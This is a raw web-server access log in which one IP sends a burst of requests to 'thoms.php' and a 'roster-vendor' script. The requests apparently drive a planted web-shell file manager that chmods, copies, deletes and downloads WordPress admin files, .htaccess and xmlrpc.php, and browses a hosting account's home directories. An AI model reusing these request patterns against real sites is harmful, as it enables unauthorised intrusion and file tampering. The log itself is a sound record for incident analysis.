45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 200 22466 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:07 -0400] "GET /thoms.php?chmod=options-connectors.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?chmod=tools.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?chmod=theme-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /bestzyx.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?dl=themes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 200 12144 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?dl=upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28942 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 200 14284 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?del=edit-comments.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?del=install-helper.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28944 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:08 -0400] "GET /thoms.php?dl=edit-comments.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28943 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?del=privacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28941 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /bestzyx.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?chmod=index.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?dl=media.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?chmod=admin-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 200 14904 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 200 18790 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19215 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:09 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19212 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&location=%2F HTTP/1.1" 200 7900 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p= HTTP/1.1" 200 12248 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F HTTP/1.1" 200 6363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F HTTP/1.1" 200 11126 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F HTTP/1.1" 200 28415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9132 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&option=folder HTTP/1.1" 200 6393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&option=file HTTP/1.1" 200 6394 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F HTTP/1.1" 200 6526 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&location=%2Fhome%2F HTTP/1.1" 200 5828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7989 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F HTTP/1.1" 200 6399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F HTTP/1.1" 200 6384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:10 -0400] "GET /bestzyx.com.tw/roster-vendor/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Froster-vendor%2F HTTP/1.1" 200 18763 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 200 12253 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19243 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19244 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21614 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
